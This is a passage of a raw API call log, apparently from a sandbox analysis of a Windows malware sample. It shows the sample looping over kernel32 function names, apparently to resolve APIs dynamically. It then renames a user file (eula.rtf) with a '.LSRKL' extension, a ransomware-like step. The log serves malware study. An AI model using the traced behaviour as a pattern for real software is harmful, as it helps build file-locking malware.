lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0140.596] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0140.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0140.596] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0140.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0140.596] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0140.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0140.596] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0140.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0140.596] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0140.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0140.596] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0140.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0140.596] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0140.596] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0140.596] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0140.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0140.597] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0140.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0140.597] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0140.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0140.597] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0140.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0140.597] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0140.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0140.597] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0140.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0140.597] lstrlenA (lpString="CLOSESTATE") returned 10 [0140.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0140.597] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0140.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0140.597] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0140.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0140.597] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0140.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0140.597] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0140.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0140.597] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0140.597] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0140.597] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0140.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0140.598] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0140.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0140.598] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0140.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0140.598] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0140.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0140.598] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0140.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0140.598] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0140.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0140.598] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0140.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0140.598] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0140.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0140.598] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0140.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0140.598] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0140.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0140.598] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0140.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0140.598] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0140.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0140.598] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0140.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0140.598] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0140.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0140.598] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0140.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0140.598] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0140.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0140.598] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0140.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0140.598] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0140.598] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0140.598] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0140.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0140.599] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0140.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0140.599] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0140.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0140.599] lstrlenA (lpString="COPYCONTEXT") returned 11 [0140.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0140.599] lstrlenA (lpString="COPYFILE2") returned 9 [0140.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0140.599] lstrlenA (lpString="COPYFILEA") returned 9 [0140.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0140.599] lstrlenA (lpString="COPYFILEEXA") returned 11 [0140.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0140.599] lstrlenA (lpString="COPYFILEEXW") returned 11 [0140.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0140.599] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0140.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0140.599] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0140.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0140.599] lstrlenA (lpString="COPYFILEW") returned 9 [0140.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0140.599] lstrlenA (lpString="COPYLZFILE") returned 10 [0140.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0140.599] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0140.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0140.599] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0140.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0140.599] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0140.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0140.599] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0140.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0140.599] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0140.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0140.599] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0140.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0140.599] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0140.599] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0140.600] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0140.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0140.600] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0140.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0140.600] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0140.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0140.600] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0140.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0140.600] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0140.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0140.600] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0140.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0140.600] lstrlenA (lpString="CREATEEVENTA") returned 12 [0140.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0140.600] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0140.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0140.600] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0140.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0140.600] lstrlenA (lpString="CREATEEVENTW") returned 12 [0140.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0140.600] lstrlenA (lpString="CREATEFIBER") returned 11 [0140.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0140.600] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0140.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0140.600] lstrlenA (lpString="CREATEFILE2") returned 11 [0140.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0140.600] lstrlenA (lpString="CREATEFILEA") returned 11 [0140.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0140.600] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0140.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0140.600] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0140.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0140.600] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0140.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0140.600] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0140.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0140.600] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0140.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0140.600] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0140.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0140.600] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0140.600] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0140.601] lstrlenA (lpString="CREATEFILEW") returned 11 [0140.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0140.601] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0140.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0140.601] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0140.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0140.601] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0140.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0140.601] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0140.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0140.601] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0140.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0140.601] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0140.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0140.601] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0140.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0140.601] lstrlenA (lpString="CREATEJOBSET") returned 12 [0140.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0140.601] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0140.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0140.601] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0140.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0140.601] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0140.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0140.601] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0140.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0140.601] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0140.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0140.601] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0140.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0140.601] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0140.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0140.601] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0140.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0140.601] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0140.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0140.601] lstrlenA (lpString="CREATEPIPE") returned 10 [0140.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0140.601] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0140.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0140.601] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0140.601] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0140.601] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0140.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0140.602] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0140.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0140.602] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0140.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0140.602] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0140.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0140.602] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0140.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0140.602] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0140.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0140.602] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0140.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0140.602] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0140.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0140.602] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0140.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0140.602] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0140.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0140.602] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0140.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0140.602] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0140.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0140.602] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0140.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0140.602] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0140.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0140.602] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0140.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0140.602] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0140.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0140.602] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0140.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0140.602] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0140.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0140.602] lstrlenA (lpString="CREATETHREAD") returned 12 [0140.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0140.602] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0140.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0140.602] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0140.602] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0140.603] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0140.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0140.603] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0140.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0140.603] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0140.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0140.603] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0140.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0140.603] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0140.603] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0140.603] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\3082\\eula.rtf.LSRKL") returned 41 [0140.603] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.LSRKL" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.lsrkl"), dwFlags=0x0) returned 1 [0140.604] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.604] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.604] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.605] FindNextFileW (in: hFindFile=0x3b80e80, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, 